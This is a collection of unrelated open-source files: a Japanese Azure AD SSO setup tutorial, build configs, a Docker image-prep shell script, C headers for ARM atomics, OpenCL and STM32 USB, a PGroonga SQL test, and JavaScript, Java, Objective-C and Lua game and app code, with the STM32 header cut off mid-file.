これらの手順に従って、Azure portal で Azure AD SSO を有効にします。
1. [Azure portal](https://portal.azure.com/) の **Skills Workflow** アプリケーション統合ページで、 **[管理]** セクションを見つけて、 **[シングル サインオン]** を選択します。
1. **[シングル サインオン方式の選択]** ページで、 **[SAML]** を選択します。
1. **[SAML でシングル サインオンをセットアップします]** ページで、 **[基本的な SAML 構成]** の編集 (ペン) アイコンをクリックして設定を編集します。

1. **[基本的な SAML 構成]** セクションで、次の手順を実行します。
a. **[サインオン URL]** テキスト ボックスに URL として「`https://auth.skillsworkflow.com/saml2/acs`」と入力します。
b. **[識別子]** テキスト ボックスに、`https://auth.skillsworkflow.com/saml2` という URL を入力します。
1. **[SAML でシングル サインオンをセットアップします]** ページの **[SAML 署名証明書]** セクションで、 **[フェデレーション メタデータ XML]** を探して **[ダウンロード]** を選択し、証明書をダウンロードして、お使いのコンピューターに保存します。

1. **[Skills Workflow のセットアップ]** セクションで、要件に基づいて適切な URL をコピーします。

### <a name="create-an-azure-ad-test-user"></a>Azure AD のテスト ユーザーの作成
このセクションでは、Azure portal 内で B.Simon というテスト ユーザーを作成します。
1. Azure portal の左側のウィンドウから、 **[Azure Active Directory]** 、 **[ユーザー]** 、 **[すべてのユーザー]** の順に選択します。
1. 画面の上部にある **[新しいユーザー]** を選択します。
1. **[ユーザー]** プロパティで、以下の手順を実行します。
1. **[名前]** フィールドに「`B.Simon`」と入力します。
1. **[ユーザー名]** フィールドに「[email protected]」と入力します。 たとえば、「 `[email protected]` 」のように入力します。
1. **[パスワードを表示]** チェック ボックスをオンにし、 **[パスワード]** ボックスに表示された値を書き留めます。
1. **Create** をクリックしてください。
### <a name="assign-the-azure-ad-test-user"></a>Azure AD テスト ユーザーの割り当て
このセクションでは、B.Simon に Skills Workflow へのアクセスを許可することで、このユーザーが Azure シングル サインオンを使用できるようにします。
1. Azure portal で **[エンタープライズ アプリケーション]** を選択し、 **[すべてのアプリケーション]** を選択します。
1. アプリケーションの一覧で **[Skills Workflow]** を選択します。
1. アプリの概要ページで、 **[管理]** セクションを見つけて、 **[ユーザーとグループ]** を選択します。
![[ユーザーとグループ] リンク](common/users-groups-blade.png)
1. **[ユーザーの追加]** を選択し、 **[割り当ての追加]** ダイアログで **[ユーザーとグループ]** を選択します。
![[ユーザーの追加] リンク](common/add-assign-user.png)
1. **[ユーザーとグループ]** ダイアログの [ユーザー] の一覧から **[B.Simon]** を選択し、画面の下部にある **[選択]** ボタンをクリックします。
1. SAML アサーション内に任意のロール値が必要な場合、 **[ロールの選択]** ダイアログでユーザーに適したロールを一覧から選択し、画面の下部にある **[選択]** をクリックします。
1. **[割り当ての追加]** ダイアログで、 **[割り当て]** をクリックします。
## <a name="configure-skills-workflow-sso"></a>Skills Workflow SSO の構成
**Skills Workflow** 側でシングル サインオンを構成するには、ダウンロードした**フェデレーション メタデータ XML** と Azure portal からコピーした適切な URL を [Skills Workflow サポート チーム](mailto:[email protected])に送信する必要があります。 サポート チームはこれを設定して、SAML SSO 接続が両方の側で正しく設定されるようにします。
### <a name="create-skills-workflow-test-user"></a>Skills Workflow テスト ユーザーの作成
このセクションでは、Skills Workflow で B.Simon というユーザーを作成します。 [Skills Workflow サポート チーム](mailto:[email protected])と連携して、Skills Workflow プラットフォームにユーザーを追加してください。 シングル サインオンを使用する前に、ユーザーを作成し、有効化する必要があります。
## <a name="test-sso"></a>SSO のテスト
このセクションでは、アクセス パネルを使用して Azure AD のシングル サインオン構成をテストします。
アクセス パネル上で [Skills Workflow] タイルをクリックすると、SSO を設定した Skills Workflow に自動的にサインインします。 アクセス パネルの詳細については、[アクセス パネルの概要](https://docs.microsoft.com/azure/active-directory/active-directory-saas-access-panel-introduction)に関する記事を参照してください。
## <a name="additional-resources"></a>その他のリソース
- [SaaS アプリと Azure Active Directory を統合する方法に関するチュートリアルの一覧](https://docs.microsoft.com/azure/active-directory/active-directory-saas-tutorial-list)
- [Azure Active Directory でのアプリケーション アクセスとシングル サインオンとは](https://docs.microsoft.com/azure/active-directory/manage-apps/what-is-single-sign-on)
- [Azure Active Directory の条件付きアクセスとは](https://docs.microsoft.com/azure/active-directory/conditional-access/overview)
- [Azure AD で Skills Workflow を試す](https://aad.portal.azure.com/)
- [Microsoft Cloud App Security におけるセッション制御とは](https://docs.microsoft.com/cloud-app-security/proxy-intro-aad)
- [高度な可視性と制御によって Skills Workflow を保護する方法](https://docs.microsoft.com/cloud-app-security/proxy-intro-aad) | {
"pile_set_name": "Github"
} |
module.exports = {
entry: "./src/index.ts",
output: {
filename: "bundle.[hash].js",
path: __dirname + "/out"
},
resolve: {
extensions: [".ts", ".js"]
},
module: {
rules: [
{
test: /\.(png|jpg|gif)$/,
loader: "file-loader",
options: { name: "[path][hash].[ext]" }
},
{ test: /\.ts$/, use: "ts-loader" }
]
},
node: {
process: false
}
};
| {
"pile_set_name": "Github"
} |
#!/bin/sh
docker stop icecast
docker rm icecast
docker build -t branch14/icecast2 ~/icebox/.
docker stop ffmpeg
docker rm ffmpeg
docker build -t jerben/ffmpeg ~/ffmpeg/.
rm -f /etc/passwd-s3fs
rm -f /root/env.list
rm -f /tmp/part-001.log
rm -rf /var/lib/cloud/*
echo
echo 'System prepared for imaging.'
echo
| {
"pile_set_name": "Github"
} |
/*
* linux/include/asm-arm/atomic.h
*
* Copyright (c) 1996 Russell King.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Changelog:
* 27-06-1996 RMK Created
* 13-04-1997 RMK Made functions atomic!
* 07-12-1997 RMK Upgraded for v2.1.
* 26-08-1998 PJB Added #ifdef __KERNEL__
*/
#ifndef __ASM_ARM_ATOMIC_H
#define __ASM_ARM_ATOMIC_H
#include <linux/config.h>
#ifdef CONFIG_SMP
#error SMP not supported
#endif
typedef struct { volatile int counter; } atomic_t;
#define ATOMIC_INIT(i) { (i) }
#ifdef __KERNEL__
#include <asm/proc/system.h>
#define atomic_read(v) ((v)->counter)
#define atomic_set(v,i) (((v)->counter) = (i))
static inline void atomic_add(int i, volatile atomic_t *v)
{
unsigned long flags;
local_irq_save(flags);
v->counter += i;
local_irq_restore(flags);
}
static inline void atomic_sub(int i, volatile atomic_t *v)
{
unsigned long flags;
local_irq_save(flags);
v->counter -= i;
local_irq_restore(flags);
}
static inline void atomic_inc(volatile atomic_t *v)
{
unsigned long flags;
local_irq_save(flags);
v->counter += 1;
local_irq_restore(flags);
}
static inline void atomic_dec(volatile atomic_t *v)
{
unsigned long flags;
local_irq_save(flags);
v->counter -= 1;
local_irq_restore(flags);
}
static inline int atomic_dec_and_test(volatile atomic_t *v)
{
unsigned long flags;
int val;
local_irq_save(flags);
val = v->counter;
v->counter = val -= 1;
local_irq_restore(flags);
return val == 0;
}
static inline int atomic_add_negative(int i, volatile atomic_t *v)
{
unsigned long flags;
int val;
local_irq_save(flags);
val = v->counter;
v->counter = val += i;
local_irq_restore(flags);
return val < 0;
}
static inline void atomic_clear_mask(unsigned long mask, unsigned long *addr)
{
unsigned long flags;
local_irq_save(flags);
*addr &= ~mask;
local_irq_restore(flags);
}
/* Atomic operations are already serializing on ARM */
#define smp_mb__before_atomic_dec() barrier()
#define smp_mb__after_atomic_dec() barrier()
#define smp_mb__before_atomic_inc() barrier()
#define smp_mb__after_atomic_inc() barrier()
#endif
#endif
| {
"pile_set_name": "Github"
} |
CREATE TABLE memos (
title text,
contents text[]
);
INSERT INTO memos
VALUES ('PostgreSQL',
ARRAY['PostgreSQL is an OSS RDBMS',
'PostgreSQL has partial full-text search support']);
INSERT INTO memos
VALUES ('Groonga', ARRAY['Groonga is an OSS full-text search engine',
'Groonga has full full-text search support']);
INSERT INTO memos
VALUES ('PGroonga',
ARRAY['PGroonga is an OSS PostgreSQL extension',
'PGroonga adds full full-text search support based on Groonga to PostgreSQL']);
CREATE INDEX pgroonga_memos_index ON memos
USING pgroonga (contents pgroonga.text_array_full_text_search_ops);
SET enable_seqscan = off;
SET enable_indexscan = off;
SET enable_bitmapscan = on;
EXPLAIN (COSTS OFF)
SELECT title, contents
FROM memos
WHERE contents &? 'rdbms OR engine';
QUERY PLAN
-----------------------------------------------------------
Bitmap Heap Scan on memos
Recheck Cond: (contents &? 'rdbms OR engine'::text)
-> Bitmap Index Scan on pgroonga_memos_index
Index Cond: (contents &? 'rdbms OR engine'::text)
(4 rows)
SELECT title, contents
FROM memos
WHERE contents &? 'rdbms OR engine';
title | contents
------------+-------------------------------------------------------------------------------------------
PostgreSQL | {"PostgreSQL is an OSS RDBMS","PostgreSQL has partial full-text search support"}
Groonga | {"Groonga is an OSS full-text search engine","Groonga has full full-text search support"}
(2 rows)
DROP TABLE memos;
| {
"pile_set_name": "Github"
} |
import formatNumber from '../utils/formatNumber.js';
export default function createSideBarState(languages) {
const state = {
show: false,
header: '',
word: '',
showContext,
close,
};
return state;
function close() {
state.show = false;
}
function showContext(word) {
const language = languages.getLanguageByExtension(languages.selected);
if (!language) throw new Error('How come there is no selected language?');
language.getLinesWithWord(word)
.then((context) => {
state.show = true;
state.lines = context.lines.map(line => toLineViewModel(line, word));
state.header = `${context.word} - ${formatNumber(context.total)}`;
});
}
}
function toLineViewModel(line, word) {
const stopWord = new RegExp(`\\b${word}\\b`);
const words = line[0].split(stopWord).map(text => ({
text,
bold: false,
}));
const parts = [];
for (let i = 0; i < words.length - 1; ++i) {
parts.push(words[i], {
text: word,
bold: true,
});
}
parts.push(words[words.length - 1]);
const count = formatNumber(line[1]);
return {
text: line[0],
count,
parts,
};
}
| {
"pile_set_name": "Github"
} |
package com.carpentersblocks.renderer.helper.slope.oblique;
import net.minecraft.client.renderer.RenderBlocks;
import net.minecraft.util.IIcon;
import net.minecraftforge.common.util.ForgeDirection;
import com.carpentersblocks.data.Slope;
import com.carpentersblocks.renderer.helper.RenderHelper;
import cpw.mods.fml.relauncher.Side;
import cpw.mods.fml.relauncher.SideOnly;
@SideOnly(Side.CLIENT)
public class HelperOblWedge extends RenderHelper {
/**
* Renders the given texture to the North sloped face of the block. Args: slope, x, y, z, texture
*/
public static void renderSlopeZNeg(RenderBlocks renderBlocks, int slopeID, double x, double y, double z, IIcon icon)
{
prepareRender(renderBlocks, ForgeDirection.NORTH, x, y, z, icon);
switch (slopeID) {
case Slope.ID_WEDGE_POS_N:
setupVertex(renderBlocks, xMax, yMax, zMax, uTL, vTL, SOUTHEAST);
setupVertex(renderBlocks, xMax, yMin, zMin, uBL, vBL, NORTHEAST);
setupVertex(renderBlocks, xMin, yMin, zMin, uBR, vBR, NORTHWEST);
setupVertex(renderBlocks, xMin, yMax, zMax, uTR, vTR, SOUTHWEST);
break;
case Slope.ID_WEDGE_NEG_N:
setupVertex(renderBlocks, xMin, yMin, zMax, uBR, vBR, SOUTHWEST);
setupVertex(renderBlocks, xMin, yMax, zMin, uTR, vTR, NORTHWEST);
setupVertex(renderBlocks, xMax, yMax, zMin, uTL, vTL, NORTHEAST);
setupVertex(renderBlocks, xMax, yMin, zMax, uBL, vBL, SOUTHEAST);
break;
case Slope.ID_WEDGE_NW:
setupVertex(renderBlocks, xMax, yMax, zMin, uTL, vTL, TOP_LEFT );
setupVertex(renderBlocks, xMax, yMin, zMin, uBL, vBL, BOTTOM_LEFT );
setupVertex(renderBlocks, xMin, yMin, zMax, uBR, vBR, BOTTOM_RIGHT);
setupVertex(renderBlocks, xMin, yMax, zMax, uTR, vTR, TOP_RIGHT );
break;
case Slope.ID_WEDGE_NE:
setupVertex(renderBlocks, xMax, yMax, zMax, uTL, vTL, TOP_LEFT );
setupVertex(renderBlocks, xMax, yMin, zMax, uBL, vBL, BOTTOM_LEFT );
setupVertex(renderBlocks, xMin, yMin, zMin, uBR, vBR, BOTTOM_RIGHT);
setupVertex(renderBlocks, xMin, yMax, zMin, uTR, vTR, TOP_RIGHT );
break;
}
}
/**
* Renders the given texture to the South sloped face of the block. Args: slope, x, y, z, texture
*/
public static void renderSlopeZPos(RenderBlocks renderBlocks, int slopeID, double x, double y, double z, IIcon icon)
{
prepareRender(renderBlocks, ForgeDirection.SOUTH, x, y, z, icon);
switch (slopeID) {
case Slope.ID_WEDGE_POS_S:
setupVertex(renderBlocks, xMax, yMin, zMax, uBR, vBR, SOUTHEAST);
setupVertex(renderBlocks, xMax, yMax, zMin, uTR, vTR, NORTHEAST);
setupVertex(renderBlocks, xMin, yMax, zMin, uTL, vTL, NORTHWEST);
setupVertex(renderBlocks, xMin, yMin, zMax, uBL, vBL, SOUTHWEST);
break;
case Slope.ID_WEDGE_NEG_S:
setupVertex(renderBlocks, xMin, yMax, zMax, uTL, vTL, SOUTHWEST);
setupVertex(renderBlocks, xMin, yMin, zMin, uBL, vBL, NORTHWEST);
setupVertex(renderBlocks, xMax, yMin, zMin, uBR, vBR, NORTHEAST);
setupVertex(renderBlocks, xMax, yMax, zMax, uTR, vTR, SOUTHEAST);
break;
case Slope.ID_WEDGE_SW:
setupVertex(renderBlocks, xMin, yMax, zMin, uTL, vTL, TOP_LEFT );
setupVertex(renderBlocks, xMin, yMin, zMin, uBL, vBL, BOTTOM_LEFT );
setupVertex(renderBlocks, xMax, yMin, zMax, uBR, vBR, BOTTOM_RIGHT);
setupVertex(renderBlocks, xMax, yMax, zMax, uTR, vTR, TOP_RIGHT );
break;
case Slope.ID_WEDGE_SE:
setupVertex(renderBlocks, xMin, yMax, zMax, uTL, vTL, TOP_LEFT );
setupVertex(renderBlocks, xMin, yMin, zMax, uBL, vBL, BOTTOM_LEFT );
setupVertex(renderBlocks, xMax, yMin, zMin, uBR, vBR, BOTTOM_RIGHT);
setupVertex(renderBlocks, xMax, yMax, zMin, uTR, vTR, TOP_RIGHT );
break;
}
}
/**
* Renders the given texture to the West sloped face of the block. Args: slope, x, y, z, texture
*/
public static void renderSlopeXNeg(RenderBlocks renderBlocks, int slopeID, double x, double y, double z, IIcon icon)
{
prepareRender(renderBlocks, ForgeDirection.WEST, x, y, z, icon);
switch (slopeID) {
case Slope.ID_WEDGE_POS_W:
setupVertex(renderBlocks, xMax, yMax, zMax, uTR, vTR, SOUTHEAST);
setupVertex(renderBlocks, xMax, yMax, zMin, uTL, vTL, NORTHEAST);
setupVertex(renderBlocks, xMin, yMin, zMin, uBL, vBL, NORTHWEST);
setupVertex(renderBlocks, xMin, yMin, zMax, uBR, vBR, SOUTHWEST);
break;
case Slope.ID_WEDGE_NEG_W:
setupVertex(renderBlocks, xMin, yMax, zMax, uTR, vTR, SOUTHWEST);
setupVertex(renderBlocks, xMin, yMax, zMin, uTL, vTL, NORTHWEST);
setupVertex(renderBlocks, xMax, yMin, zMin, uBL, vBL, NORTHEAST);
setupVertex(renderBlocks, xMax, yMin, zMax, uBR, vBR, SOUTHEAST);
break;
}
}
/**
* Renders the given texture to the East sloped face of the block. Args: slope, x, y, z, texture
*/
public static void renderSlopeXPos(RenderBlocks renderBlocks, int slopeID, double x, double y, double z, IIcon icon)
{
prepareRender(renderBlocks, ForgeDirection.EAST, x, y, z, icon);
switch (slopeID) {
case Slope.ID_WEDGE_POS_E:
setupVertex(renderBlocks, xMax, yMin, zMax, uBL, vBL, SOUTHEAST);
setupVertex(renderBlocks, xMax, yMin, zMin, uBR, vBR, NORTHEAST);
setupVertex(renderBlocks, xMin, yMax, zMin, uTR, vTR, NORTHWEST);
setupVertex(renderBlocks, xMin, yMax, zMax, uTL, vTL, SOUTHWEST);
break;
case Slope.ID_WEDGE_NEG_E:
setupVertex(renderBlocks, xMin, yMin, zMax, uBL, vBL, SOUTHWEST);
setupVertex(renderBlocks, xMin, yMin, zMin, uBR, vBR, NORTHWEST);
setupVertex(renderBlocks, xMax, yMax, zMin, uTR, vTR, NORTHEAST);
setupVertex(renderBlocks, xMax, yMax, zMax, uTL, vTL, SOUTHEAST);
break;
}
}
}
| {
"pile_set_name": "Github"
} |
/**********************************************************************************
* Copyright (c) 2008-2012 The Khronos Group Inc.
*
* Permission is hereby granted, free of charge, to any person obtaining a
* copy of this software and/or associated documentation files (the
* "Materials"), to deal in the Materials without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Materials, and to
* permit persons to whom the Materials are furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be included
* in all copies or substantial portions of the Materials.
*
* THE MATERIALS ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
* IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
* CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
* TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
* MATERIALS OR THE USE OR OTHER DEALINGS IN THE MATERIALS.
**********************************************************************************/
/* $Revision: 11708 $ on $Date: 2010-06-13 23:36:24 -0700 (Sun, 13 Jun 2010) $ */
#ifndef __OPENCL_CL_DX9_MEDIA_SHARING_H
#define __OPENCL_CL_DX9_MEDIA_SHARING_H
#include <CL/cl.h>
#include <CL/cl_platform.h>
#ifdef __cplusplus
extern "C" {
#endif
/******************************************************************************
/* cl_khr_dx9_media_sharing */
#define cl_khr_dx9_media_sharing 1
typedef cl_uint cl_dx9_media_adapter_type_khr;
typedef cl_uint cl_dx9_media_adapter_set_khr;
#if defined(_WIN32)
#include <d3d9.h>
typedef struct _cl_dx9_surface_info_khr
{
IDirect3DSurface9 *resource;
HANDLE shared_handle;
} cl_dx9_surface_info_khr;
#endif
/******************************************************************************/
/* Error Codes */
#define CL_INVALID_DX9_MEDIA_ADAPTER_KHR -1010
#define CL_INVALID_DX9_MEDIA_SURFACE_KHR -1011
#define CL_DX9_MEDIA_SURFACE_ALREADY_ACQUIRED_KHR -1012
#define CL_DX9_MEDIA_SURFACE_NOT_ACQUIRED_KHR -1013
/* cl_media_adapter_type_khr */
#define CL_ADAPTER_D3D9_KHR 0x2020
#define CL_ADAPTER_D3D9EX_KHR 0x2021
#define CL_ADAPTER_DXVA_KHR 0x2022
/* cl_media_adapter_set_khr */
#define CL_PREFERRED_DEVICES_FOR_DX9_MEDIA_ADAPTER_KHR 0x2023
#define CL_ALL_DEVICES_FOR_DX9_MEDIA_ADAPTER_KHR 0x2024
/* cl_context_info */
#define CL_CONTEXT_ADAPTER_D3D9_KHR 0x2025
#define CL_CONTEXT_ADAPTER_D3D9EX_KHR 0x2026
#define CL_CONTEXT_ADAPTER_DXVA_KHR 0x2027
/* cl_mem_info */
#define CL_MEM_DX9_MEDIA_ADAPTER_TYPE_KHR 0x2028
#define CL_MEM_DX9_MEDIA_SURFACE_INFO_KHR 0x2029
/* cl_image_info */
#define CL_IMAGE_DX9_MEDIA_PLANE_KHR 0x202A
/* cl_command_type */
#define CL_COMMAND_ACQUIRE_DX9_MEDIA_SURFACES_KHR 0x202B
#define CL_COMMAND_RELEASE_DX9_MEDIA_SURFACES_KHR 0x202C
/******************************************************************************/
typedef CL_API_ENTRY cl_int (CL_API_CALL *clGetDeviceIDsFromDX9MediaAdapterKHR_fn)(
cl_platform_id platform,
cl_uint num_media_adapters,
cl_dx9_media_adapter_type_khr * media_adapter_type,
void * media_adapters,
cl_dx9_media_adapter_set_khr media_adapter_set,
cl_uint num_entries,
cl_device_id * devices,
cl_uint * num_devices) CL_API_SUFFIX__VERSION_1_2;
typedef CL_API_ENTRY cl_mem (CL_API_CALL *clCreateFromDX9MediaSurfaceKHR_fn)(
cl_context context,
cl_mem_flags flags,
cl_dx9_media_adapter_type_khr adapter_type,
void * surface_info,
cl_uint plane,
cl_int * errcode_ret) CL_API_SUFFIX__VERSION_1_2;
typedef CL_API_ENTRY cl_int (CL_API_CALL *clEnqueueAcquireDX9MediaSurfacesKHR_fn)(
cl_command_queue command_queue,
cl_uint num_objects,
const cl_mem * mem_objects,
cl_uint num_events_in_wait_list,
const cl_event * event_wait_list,
cl_event * event) CL_API_SUFFIX__VERSION_1_2;
typedef CL_API_ENTRY cl_int (CL_API_CALL *clEnqueueReleaseDX9MediaSurfacesKHR_fn)(
cl_command_queue command_queue,
cl_uint num_objects,
const cl_mem * mem_objects,
cl_uint num_events_in_wait_list,
const cl_event * event_wait_list,
cl_event * event) CL_API_SUFFIX__VERSION_1_2;
#ifdef __cplusplus
}
#endif
#endif /* __OPENCL_CL_DX9_MEDIA_SHARING_H */
| {
"pile_set_name": "Github"
} |
/**
* Copyright (c) 2015-present, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* LICENSE file in the root directory of this source tree. An additional grant
* of patent rights can be found in the PATENTS file in the same directory.
*/
#import <UIKit/UIKit.h>
#import <XCTest/XCTest.h>
#import <React/RCTLog.h>
#import <React/RCTRootView.h>
#define TIMEOUT_SECONDS 600
#define TEXT_TO_LOOK_FOR @"Welcome to React Native!"
@interface FirstLookReactNavigationTests : XCTestCase
@end
@implementation FirstLookReactNavigationTests
- (BOOL)findSubviewInView:(UIView *)view matching:(BOOL(^)(UIView *view))test
{
if (test(view)) {
return YES;
}
for (UIView *subview in [view subviews]) {
if ([self findSubviewInView:subview matching:test]) {
return YES;
}
}
return NO;
}
- (void)testRendersWelcomeScreen
{
UIViewController *vc = [[[RCTSharedApplication() delegate] window] rootViewController];
NSDate *date = [NSDate dateWithTimeIntervalSinceNow:TIMEOUT_SECONDS];
BOOL foundElement = NO;
__block NSString *redboxError = nil;
RCTSetLogFunction(^(RCTLogLevel level, RCTLogSource source, NSString *fileName, NSNumber *lineNumber, NSString *message) {
if (level >= RCTLogLevelError) {
redboxError = message;
}
});
while ([date timeIntervalSinceNow] > 0 && !foundElement && !redboxError) {
[[NSRunLoop mainRunLoop] runMode:NSDefaultRunLoopMode beforeDate:[NSDate dateWithTimeIntervalSinceNow:0.1]];
[[NSRunLoop mainRunLoop] runMode:NSRunLoopCommonModes beforeDate:[NSDate dateWithTimeIntervalSinceNow:0.1]];
foundElement = [self findSubviewInView:vc.view matching:^BOOL(UIView *view) {
if ([view.accessibilityLabel isEqualToString:TEXT_TO_LOOK_FOR]) {
return YES;
}
return NO;
}];
}
RCTSetLogFunction(RCTDefaultLogFunction);
XCTAssertNil(redboxError, @"RedBox error: %@", redboxError);
XCTAssertTrue(foundElement, @"Couldn't find element with text '%@' in %d seconds", TEXT_TO_LOOK_FOR, TIMEOUT_SECONDS);
}
@end
| {
"pile_set_name": "Github"
} |
--special mailbox node for a Save Greendale quest with Frankie
local Dialog = require 'dialog'
local anim8 = require 'vendor/anim8'
local utils = require 'utils'
local prompt = require 'prompt'
local player = require 'player'
local Quest = require 'quest'
local quests = require 'npcs/quests/frankiequest'
local Mailbox = {}
Mailbox.__index = Mailbox
function Mailbox.new(node, collider)
local mailbox = {}
setmetatable(mailbox, Mailbox)
mailbox.bb = collider:addRectangle(node.x, node.y, node.width, node.height)
mailbox.bb.node = mailbox
Mailbox.node = node
collider:setPassive(mailbox.bb)
return mailbox
end
function Mailbox:keypressed( button, player )
if button == 'INTERACT' and self.dialog == nil and not player.freeze then
if player.quest == 'Save Greendale - Mail Diane' and player.inventory:hasKey('document') then
self.prompt = prompt.new("Deposit document into mailbox?", function(result)
if result == 'Yes' then
player.freeze = true
player.inventory:removeManyItems(1, {name='document',type='key'})
Dialog.new("Document successfuly deposited into the mailbox! Cue montage and return to Frankie.", function()
Quest.removeQuestItem(player)
Quest.addQuestItem(quests.dianereturn, player)
player.quest = 'Save Greendale - Return to Frankie'
Quest:save(quests.dianereturn)
end)
end
player.freeze = false
self.prompt = nil
end)
elseif player.quest == 'Save Greendale - Mail Diane' and not player.inventory:hasKey('document') then
player.freeze = true
Dialog.new("The document seems to be missing from your inventory. Cue montage of trying to find it!", function()
player.freeze = false
Dialog.currentDialog = nil
end)
else
player.freeze = true
Dialog.new("You don't have anything to mail right now.", function()
player.freeze = false
Dialog.currentDialog = nil
end)
end
return true
end
end
return Mailbox
| {
"pile_set_name": "Github"
} |
/**
******************************************************************************
* @file usb_conf.h
* @author MCD Application Team
* @version V1.1.0
* @date 19-March-2012
* @brief General low level driver configuration
******************************************************************************
* @attention
*
* <h2><center>© COPYRIGHT 2012 STMicroelectronics</center></h2>
*
* Licensed under MCD-ST Liberty SW License Agreement V2, (the "License");
* You may not use this file except in compliance with the License.
* You may obtain a copy of the License at:
*
* http://www.st.com/software_license_agreement_liberty_v2
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
******************************************************************************
*/
/* Define to prevent recursive inclusion -------------------------------------*/
#ifndef __USB_CONF__H__
#define __USB_CONF__H__
/* Includes ------------------------------------------------------------------*/
//#if defined (USE_STM322xG_EVAL)
//#include "stm322xg_eval.h"
// #include "stm322xg_eval_lcd.h"
// #include "stm322xg_eval_ioe.h"
// #include "stm322xg_eval_sdio_sd.h"
//#elif defined(USE_STM324xG_EVAL)
#include "stm32f4xx.h"
// #include "stm324xg_eval.h"
// #include "stm324xg_eval_lcd.h"
// #include "stm324xg_eval_ioe.h"
// #include "stm324xg_eval_sdio_sd.h"
//#elif defined (USE_STM3210C_EVAL)
// #include "stm32f10x.h"
// #include "stm3210c_eval.h"
// #include "stm3210c_eval_lcd.h"
// #include "stm3210c_eval_ioe.h"
// #include "stm3210c_eval_spi_sd.h"
//#else
// #error "Missing define: Evaluation board (ie. USE_STM322xG_EVAL)"
//#endif
/** @addtogroup USB_OTG_DRIVER
* @{
*/
/** @defgroup USB_CONF
* @brief USB low level driver configuration file
* @{
*/
/** @defgroup USB_CONF_Exported_Defines
* @{
*/
/* USB Core and PHY interface configuration.
Tip: To avoid modifying these defines each time you need to change the USB
configuration, you can declare the needed define in your toolchain
compiler preprocessor.
*/
/****************** USB OTG FS PHY CONFIGURATION *******************************
* The USB OTG FS Core supports one on-chip Full Speed PHY.
*
* The USE_EMBEDDED_PHY symbol is defined in the project compiler preprocessor
* when FS core is used.
*******************************************************************************/
#ifndef USE_USB_OTG_FS
//#define USE_USB_OTG_FS
#endif /* USE_USB_OTG_FS */
#ifdef USE_USB_OTG_FS
#define USB_OTG_FS_CORE
#endif
/****************** USB OTG HS PHY CONFIGURATION *******************************
* The USB OTG HS Core supports two PHY interfaces:
* (i) An ULPI interface for the external High Speed PHY: the USB HS Core will
* operate in High speed mode
* (ii) An on-chip Full Speed PHY: the USB HS Core will operate in Full speed mode
*
* You can select the PHY to be used using one of these two defines:
* (i) USE_ULPI_PHY: if the USB OTG HS Core is to be used in High speed mode
* (ii) USE_EMBEDDED_PHY: if the USB OTG HS Core is to be used in Full speed mode
*
* Notes:
* - The USE_ULPI_PHY symbol is defined in the project compiler preprocessor as
* default PHY when HS core is used.
* - On STM322xG-EVAL and STM324xG-EVAL boards, only configuration(i) is available.
* Configuration (ii) need a different hardware, for more details refer to your
* STM32 device datasheet.
*******************************************************************************/
#ifndef USE_USB_OTG_HS
//#define USE_USB_OTG_HS
#endif /* USE_USB_OTG_HS */
#ifndef USE_ULPI_PHY
//#define USE_ULPI_PHY
#endif /* USE_ULPI_PHY */
#ifndef USE_EMBEDDED_PHY
//#define USE_EMBEDDED_PHY
#endif /* USE_EMBEDDED_PHY */
#ifdef USE_USB_OTG_HS
#define USB_OTG_HS_CORE
#endif
/*******************************************************************************
* FIFO Size Configuration in Device mode
*
* (i) Receive data FIFO size = RAM for setup packets +
* OUT endpoint control information +
* data OUT packets + miscellaneous
* Space = ONE 32-bits words
* --> RAM for setup packets = 10 spaces
* (n is the nbr of CTRL EPs the device core supports)
* --> OUT EP CTRL info = 1 space
* (one space for status information written to the FIFO along with each
* received packet)
* --> data OUT packets = (Largest Packet Size / 4) + 1 spaces
* (MINIMUM to receive packets)
* --> OR data OUT packets = at least 2*(Largest Packet Size / 4) + 1 spaces
* (if high-bandwidth EP is enabled or multiple isochronous EPs)
* --> miscellaneous = 1 space per OUT EP
* (one space for transfer complete status information also pushed to the
* FIFO with each endpoint's last packet)
*
* (ii)MINIMUM RAM space required for each IN EP Tx FIFO = MAX packet size for
* that particular IN EP. More space allocated in the IN EP Tx FIFO results
* in a better performance on the USB and can hide latencies on the AHB.
*
* (iii) TXn min size = 16 words. (n : Transmit FIFO index)
* (iv) When a TxFIFO is not used, the Configuration should be as follows:
* case 1 : n > m and Txn is not used (n,m : Transmit FIFO indexes)
* --> Txm can use the space allocated for Txn.
* case2 : n < m and Txn is not used (n,m : Transmit FIFO indexes)
* --> Txn should be configured with the minimum space of 16 words
* (v) The FIFO is used optimally when used TxFIFOs are allocated in the top
* of the FIFO.Ex: use EP1 and EP2 as IN instead of EP1 and EP3 as IN ones.
* (vi) In HS case 12 FIFO locations should be reserved for internal DMA registers
* so total FIFO size should be 1012 Only instead of 1024
*******************************************************************************/
/****************** USB OTG HS CONFIGURATION **********************************/
#ifdef USB_OTG_HS_CORE
#define RX_FIFO_HS_SIZE 512
#define TX0_FIFO_HS_SIZE 64
#define TX1_FIFO_HS_SIZE 372
#define TX2_FIFO_HS_SIZE 64
#define TX3_FIFO_HS_SIZE 0
#define TX4_FIFO_HS_SIZE 0
#define TX5_FIFO_HS_SIZE 0
// #define USB_OTG_HS_SOF_OUTPUT_ENABLED
#ifdef USE_ULPI_PHY
#define USB_OTG_ULPI_PHY_ENABLED
#endif
#ifdef USE_EMBEDDED_PHY
#define USB_OTG_EMBEDDED_PHY_ENABLED
/* wakeup is working only when HS core is configured in FS mode */
#define USB_OTG_HS_LOW_PWR_MGMT_SUPPORT
#endif
